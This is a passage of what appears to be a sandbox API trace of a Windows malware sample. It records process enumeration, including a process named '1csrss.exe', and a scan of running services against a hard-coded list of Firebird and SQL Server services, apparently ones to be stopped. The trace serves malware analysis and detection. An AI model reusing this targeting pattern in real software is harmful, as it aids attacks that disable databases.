th32ProcessID=0x1f4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x1e0, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0298.881] lstrlenW (lpString="csrss.exe") returned 9 [0298.881] Process32NextW (in: hSnapshot=0x56c, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x230, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x1e0, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1 [0298.882] lstrlenW (lpString="winlogon.exe") returned 12 [0298.882] Process32NextW (in: hSnapshot=0x56c, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x24c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x1e8, pcPriClassBase=9, dwFlags=0x0, szExeFile="services.exe")) returned 1 [0298.882] lstrlenW (lpString="services.exe") returned 12 [0298.882] Process32NextW (in: hSnapshot=0x56c, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x254, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x1e8, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1 [0298.883] lstrlenW (lpString="lsass.exe") returned 9 [0298.883] Process32NextW (in: hSnapshot=0x56c, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2b0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x230, pcPriClassBase=8, dwFlags=0x0, szExeFile="fontdrvhost.exe")) returned 1 [0298.884] lstrlenW (lpString="fontdrvhost.exe") returned 15 [0298.884] Process32NextW (in: hSnapshot=0x56c, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2b8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x1e8, pcPriClassBase=8, dwFlags=0x0, szExeFile="fontdrvhost.exe")) returned 1 [0298.886] lstrlenW (lpString="fontdrvhost.exe") returned 15 [0298.886] Process32NextW (in: hSnapshot=0x56c, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2f0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x12, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0298.887] lstrlenW (lpString="svchost.exe") returned 11 [0298.887] Process32NextW (in: hSnapshot=0x56c, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x318, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0298.887] lstrlenW (lpString="svchost.exe") returned 11 [0298.887] Process32NextW (in: hSnapshot=0x56c, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x384, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x230, pcPriClassBase=13, dwFlags=0x0, szExeFile="dwm.exe")) returned 1 [0298.888] lstrlenW (lpString="dwm.exe") returned 7 [0298.888] Process32NextW (in: hSnapshot=0x56c, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3c0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x18, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0298.889] lstrlenW (lpString="svchost.exe") returned 11 [0298.889] Process32NextW (in: hSnapshot=0x56c, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3d4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x16, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0298.889] lstrlenW (lpString="svchost.exe") returned 11 [0298.889] Process32NextW (in: hSnapshot=0x56c, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3e8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xf, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0298.890] lstrlenW (lpString="svchost.exe") returned 11 [0298.890] Process32NextW (in: hSnapshot=0x56c, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4e, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0298.891] lstrlenW (lpString="svchost.exe") returned 11 [0298.891] Process32NextW (in: hSnapshot=0x56c, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x314, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x23, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0298.891] lstrlenW (lpString="svchost.exe") returned 11 [0298.891] Process32NextW (in: hSnapshot=0x56c, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x438, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x17, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0298.892] lstrlenW (lpString="svchost.exe") returned 11 [0298.892] Process32NextW (in: hSnapshot=0x56c, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4c8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0298.893] lstrlenW (lpString="svchost.exe") returned 11 [0298.893] Process32NextW (in: hSnapshot=0x56c, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x50c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0298.894] lstrlenW (lpString="svchost.exe") returned 11 [0298.894] Process32NextW (in: hSnapshot=0x56c, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x528, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0298.894] lstrlenW (lpString="svchost.exe") returned 11 [0298.894] Process32NextW (in: hSnapshot=0x56c, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x530, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0298.895] lstrlenW (lpString="svchost.exe") returned 11 [0298.895] Process32NextW (in: hSnapshot=0x56c, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5c4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1 [0298.896] lstrlenW (lpString="spoolsv.exe") returned 11 [0298.896] Process32NextW (in: hSnapshot=0x56c, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x648, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x12, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="OfficeClickToRun.exe")) returned 1 [0298.896] lstrlenW (lpString="OfficeClickToRun.exe") returned 20 [0298.897] Process32NextW (in: hSnapshot=0x56c, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x660, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="SecurityHealthService.exe")) returned 1 [0298.897] lstrlenW (lpString="SecurityHealthService.exe") returned 25 [0298.897] Process32NextW (in: hSnapshot=0x56c, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6d4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x4, pcPriClassBase=8, dwFlags=0x0, szExeFile="Memory Compression")) returned 1 [0298.898] lstrlenW (lpString="Memory Compression") returned 18 [0298.898] Process32NextW (in: hSnapshot=0x56c, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x760, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0298.899] lstrlenW (lpString="svchost.exe") returned 11 [0298.899] Process32NextW (in: hSnapshot=0x56c, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5dc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x4c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1 [0298.899] lstrlenW (lpString="audiodg.exe") returned 11 [0298.899] Process32NextW (in: hSnapshot=0x56c, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x8bc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x1ac, pcPriClassBase=8, dwFlags=0x0, szExeFile="sihost.exe")) returned 1 [0298.900] lstrlenW (lpString="sihost.exe") returned 10 [0298.900] Process32NextW (in: hSnapshot=0x56c, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x8dc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0298.901] lstrlenW (lpString="svchost.exe") returned 11 [0298.901] Process32NextW (in: hSnapshot=0x56c, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x938, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x1ac, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhostw.exe")) returned 1 [0298.901] lstrlenW (lpString="taskhostw.exe") returned 13 [0298.901] Process32NextW (in: hSnapshot=0x56c, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa08, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3b, th32ParentProcessID=0x9f8, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1 [0298.902] lstrlenW (lpString="explorer.exe") returned 12 [0298.902] Process32NextW (in: hSnapshot=0x56c, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x820, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1b, th32ParentProcessID=0x2f0, pcPriClassBase=8, dwFlags=0x0, szExeFile="SearchUI.exe")) returned 1 [0298.903] lstrlenW (lpString="SearchUI.exe") returned 12 [0298.903] Process32NextW (in: hSnapshot=0x56c, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x90c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1b, th32ParentProcessID=0x2f0, pcPriClassBase=8, dwFlags=0x0, szExeFile="ShellExperienceHost.exe")) returned 1 [0298.903] lstrlenW (lpString="ShellExperienceHost.exe") returned 23 [0298.903] Process32NextW (in: hSnapshot=0x56c, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x378, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x2f0, pcPriClassBase=8, dwFlags=0x0, szExeFile="RuntimeBroker.exe")) returned 1 [0298.904] lstrlenW (lpString="RuntimeBroker.exe") returned 17 [0298.904] Process32NextW (in: hSnapshot=0x56c, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd88, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x19, th32ParentProcessID=0xa08, pcPriClassBase=8, dwFlags=0x0, szExeFile="1csrss.exe")) returned 1 [0298.905] lstrlenW (lpString="1csrss.exe") returned 10 [0298.905] Process32NextW (in: hSnapshot=0x56c, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xde0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0298.908] lstrlenW (lpString="svchost.exe") returned 11 [0298.908] Process32NextW (in: hSnapshot=0x56c, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xf48, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x940, pcPriClassBase=6, dwFlags=0x0, szExeFile="OfficeC2RClient.exe")) returned 1 [0298.909] lstrlenW (lpString="OfficeC2RClient.exe") returned 19 [0298.909] Process32NextW (in: hSnapshot=0x56c, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xf5c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0298.910] lstrlenW (lpString="svchost.exe") returned 11 [0298.910] Process32NextW (in: hSnapshot=0x56c, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xf9c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x1ac, pcPriClassBase=8, dwFlags=0x0, szExeFile="consent.exe")) returned 1 [0298.911] lstrlenW (lpString="consent.exe") returned 11 [0298.911] Process32NextW (in: hSnapshot=0x56c, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xf9c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x1ac, pcPriClassBase=8, dwFlags=0x0, szExeFile="consent.exe")) returned 0 [0298.912] CloseHandle (hObject=0x56c) returned 1 [0298.912] Sleep (dwMilliseconds=0x1f4) [0299.424] OpenSCManagerW (lpMachineName=0x0, lpDatabaseName=0x0, dwDesiredAccess=0x4) returned 0x7ddb88 [0299.424] EnumServicesStatusExW (in: hSCManager=0x7ddb88, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x0, cbBufSize=0x0, pcbBytesNeeded=0x25fff3c, lpServicesReturned=0x25fff54, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x0, pcbBytesNeeded=0x25fff3c, lpServicesReturned=0x25fff54, lpResumeHandle=0x0) returned 0 [0299.425] GetLastError () returned 0xea [0299.425] RtlAllocateHeap (HeapHandle=0x6e0000, Flags=0x0, Size=0x1de6) returned 0x460ee90 [0299.425] EnumServicesStatusExW (in: hSCManager=0x7ddb88, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x460ee90, cbBufSize=0x1de6, pcbBytesNeeded=0x25fff3c, lpServicesReturned=0x25fff54, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x460ee90, pcbBytesNeeded=0x25fff3c, lpServicesReturned=0x25fff54, lpResumeHandle=0x0) returned 1 [0299.425] CloseServiceHandle (hSCObject=0x7ddb88) returned 1 [0299.426] lstrlenW (lpString="Appinfo") returned 7 [0299.426] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Appinfo") returned 1 [0299.426] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Appinfo") returned 1 [0299.426] lstrcmpiW (lpString1="sqlwriter", lpString2="Appinfo") returned 1 [0299.426] lstrcmpiW (lpString1="mssqlserver", lpString2="Appinfo") returned 1 [0299.426] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Appinfo") returned 1 [0299.426] lstrlenW (lpString="AppXSvc") returned 7 [0299.426] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AppXSvc") returned 1 [0299.426] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AppXSvc") returned 1 [0299.426] lstrcmpiW (lpString1="sqlwriter", lpString2="AppXSvc") returned 1 [0299.426] lstrcmpiW (lpString1="mssqlserver", lpString2="AppXSvc") returned 1 [0299.426] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AppXSvc") returned 1 [0299.426] lstrlenW (lpString="AudioEndpointBuilder") returned 20 [0299.426] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0299.426] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0299.426] lstrcmpiW (lpString1="sqlwriter", lpString2="AudioEndpointBuilder") returned 1 [0299.426] lstrcmpiW (lpString1="mssqlserver", lpString2="AudioEndpointBuilder") returned 1 [0299.426] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AudioEndpointBuilder") returned 1 [0299.426] lstrlenW (lpString="Audiosrv") returned 8 [0299.426] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Audiosrv") returned 1 [0299.426] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Audiosrv") returned 1 [0299.426] lstrcmpiW (lpString1="sqlwriter", lpString2="Audiosrv") returned 1 [0299.426] lstrcmpiW (lpString1="mssqlserver", lpString2="Audiosrv") returned 1 [0299.426] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Audiosrv") returned 1 [0299.426] lstrlenW (lpString="BFE") returned 3 [0299.426] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BFE") returned 1 [0299.427] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BFE") returned 1 [0299.427] lstrcmpiW (lpString1="sqlwriter", lpString2="BFE") returned 1 [0299.427] lstrcmpiW (lpString1="mssqlserver", lpString2="BFE") returned 1 [0299.427] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BFE") returned 1 [0299.427] lstrlenW (lpString="BITS") returned 4 [0299.427] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BITS") returned 1 [0299.427] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BITS") returned 1 [0299.427] lstrcmpiW (lpString1="sqlwriter", lpString2="BITS") returned 1 [0299.427] lstrcmpiW (lpString1="mssqlserver", lpString2="BITS") returned 1 [0299.427] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BITS") returned 1 [0299.427] lstrlenW (lpString="BrokerInfrastructure") returned 20 [0299.427] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BrokerInfrastructure") returned 1 [0299.427] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BrokerInfrastructure") returned 1 [0299.427] lstrcmpiW (lpString1="sqlwriter", lpString2="BrokerInfrastructure") returned 1 [0299.427] lstrcmpiW (lpString1="mssqlserver", lpString2="BrokerInfrastructure") returned 1 [0299.427] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BrokerInfrastructure") returned 1 [0299.427] lstrlenW (lpString="CDPSvc") returned 6 [0299.427] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CDPSvc") returned 1 [0299.427] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CDPSvc") returned 1 [0299.427] lstrcmpiW (lpString1="sqlwriter", lpString2="CDPSvc") returned 1 [0299.427] lstrcmpiW (lpString1="mssqlserver", lpString2="CDPSvc") returned 1 [0299.427] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CDPSvc") returned 1 [0299.427] lstrlenW (lpString="ClickToRunSvc") returned 13 [0299.427] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ClickToRunSvc") returned 1 [0299.427] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ClickToRunSvc") returned 1 [0299.427] lstrcmpiW (lpString1="sqlwriter", lpString2="ClickToRunSvc") returned 1 [0299.427] lstrcmpiW (lpString1="mssqlserver", lpString2="ClickToRunSvc") returned 1 [0299.427] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ClickToRunSvc") returned 1 [0299.427] lstrlenW (lpString="CoreMessagingRegistrar") returned 22 [0299.427] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CoreMessagingRegistrar") returned 1 [0299.428] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CoreMessagingRegistrar") returned 1 [0299.428] lstrcmpiW (lpString1="sqlwriter", lpString2="CoreMessagingRegistrar") returned 1 [0299.428] lstrcmpiW (lpString1="mssqlserver", lpString2="CoreMessagingRegistrar") returned 1 [0299.428] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CoreMessagingRegistrar") returned 1 [0299.428] lstrlenW (lpString="CryptSvc") returned 8 [0299.428] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CryptSvc") returned 1 [0299.428] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CryptSvc") returned 1 [0299.428] lstrcmpiW (lpString1="sqlwriter", lpString2="CryptSvc") returned 1 [0299.428] lstrcmpiW (lpString1="mssqlserver", lpString2="CryptSvc") returned 1 [0299.428] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CryptSvc") returned 1 [0299.428] lstrlenW (lpString="DcomLaunch") returned 10 [0299.428] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DcomLaunch") returned 1 [0299.428] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DcomLaunch") returned 1 [0299.428] lstrcmpiW (lpString1="sqlwriter", lpString2="DcomLaunch") returned 1 [0299.428] lstrcmpiW (lpString1="mssqlserver", lpString2="DcomLaunch") returned 1 [0299.428] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DcomLaunch") returned 1 [0299.428] lstrlenW (lpString="DeviceAssociationService") returned 24 [0299.428] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DeviceAssociationService") returned 1 [0299.428] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DeviceAssociationService") returned 1 [0299.428] lstrcmpiW (lpString1="sqlwriter", lpString2="DeviceAssociationService") returned 1 [0299.428] lstrcmpiW (lpString1="mssqlserver", lpString2="DeviceAssociationService") returned 1 [0299.428] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DeviceAssociationService") returned 1 [0299.428] lstrlenW (lpString="Dhcp") returned 4 [0299.428] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dhcp") returned 1 [0299.428] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dhcp") returned 1 [0299.428] lstrcmpiW (lpString1="sqlwriter", lpString2="Dhcp") returned 1 [0299.428] lstrcmpiW (lpString1="mssqlserver", lpString2="Dhcp") returned 1 [0299.428] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dhcp") returned 1 [0299.428] lstrlenW (lpString="Dnscache") returned 8 [0299.428] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dnscache") returned 1 [0299.428] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dnscache") returned 1 [0299.429] lstrcmpiW (lpString1="sqlwriter", lpString2="Dnscache") returned 1 [0299.429] lstrcmpiW (lpString1="mssqlserver", lpString2="Dnscache") returned 1 [0299.429] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dnscache") returned 1 [0299.429] lstrlenW (lpString="DoSvc") returned 5 [0299.429] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DoSvc") returned 1 [0299.429] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DoSvc") returned 1 [0299.429] lstrcmpiW (lpString1="sqlwriter", lpString2="DoSvc") returned 1 [0299.429] lstrcmpiW (lpString1="mssqlserver", lpString2="DoSvc") returned 1 [0299.429] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DoSvc") returned 1 [0299.429] lstrlenW (lpString="DPS") returned 3 [0299.429] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DPS") returned 1 [0299.429] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DPS") returned 1 [0299.429] lstrcmpiW (lpString1="sqlwriter", lpString2="DPS") returned 1 [0299.429] lstrcmpiW (lpString1="mssqlserver", lpString2="DPS") returned 1 [0299.429] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DPS") returned 1 [0299.429] lstrlenW (lpString="DusmSvc") returned 7 [0299.429] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DusmSvc") returned 1 [0299.429] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DusmSvc") returned 1 [0299.429] lstrcmpiW (lpString1="sqlwriter", lpString2="DusmSvc") returned 1 [0299.429] lstrcmpiW (lpString1="mssqlserver", lpString2="DusmSvc") returned 1 [0299.429] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DusmSvc") returned 1 [0299.429] lstrlenW (lpString="EventLog") returned 8 [0299.429] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="EventLog") returned 1 [0299.429] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="EventLog") returned 1 [0299.429] lstrcmpiW (lpString1="sqlwriter", lpString2="EventLog") returned 1 [0299.429] lstrcmpiW (lpString1="mssqlserver", lpString2="EventLog") returned 1 [0299.429] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="EventLog") returned 1 [0299.429] lstrlenW (lpString="EventSystem") returned 11 [0299.429] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="EventSystem") returned 1 [0299.429] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="EventSystem") returned 1 [0299.429] lstrcmpiW (lpString1="sqlwriter", lpString2="EventSystem") returned 1 [0299.430] lstrcmpiW (lpString1="mssqlserver", lpString2="EventSystem") returned 1 [0299.430] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="EventSystem") returned 1 [0299.430] lstrlenW (lpString="FontCache") returned 9 [0299.430] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="FontCache") returned -1 [0299.430] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="FontCache") returned -1 [0299.430] lstrcmpiW (lpString1="sqlwriter", lpString2="FontCache") returned 1 [0299.430] lstrcmpiW (lpString1="mssqlserver", lpString2="FontCache") returned 1 [0299.430] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="FontCache") returned 1 [0299.430] lstrlenW (lpString="gpsvc") returned 5 [0299.430] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="gpsvc") returned -1 [0299.430] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="gpsvc") returned -1 [0299.430] lstrcmpiW (lpString1="sqlwriter", lpString2="gpsvc") returned 1 [0299.430] lstrcmpiW (lpString1="mssqlserver", lpString2="gpsvc") returned 1 [0299.430] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="gpsvc") returned 1 [0299.430] lstrlenW (lpString="iphlpsvc") returned 8 [0299.430] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="iphlpsvc") returned -1 [0299.430] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="iphlpsvc") returned -1 [0299.430] lstrcmpiW (lpString1="sqlwriter", lpString2="iphlpsvc") returned 1 [0299.430] lstrcmpiW (lpString1="mssqlserver", lpString2="iphlpsvc") returned 1 [0299.430] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="iphlpsvc") returned 1 [0299.430] lstrlenW (lpString="KeyIso") returned 6 [0299.430] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="KeyIso") returned -1 [0299.430] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="KeyIso") returned -1 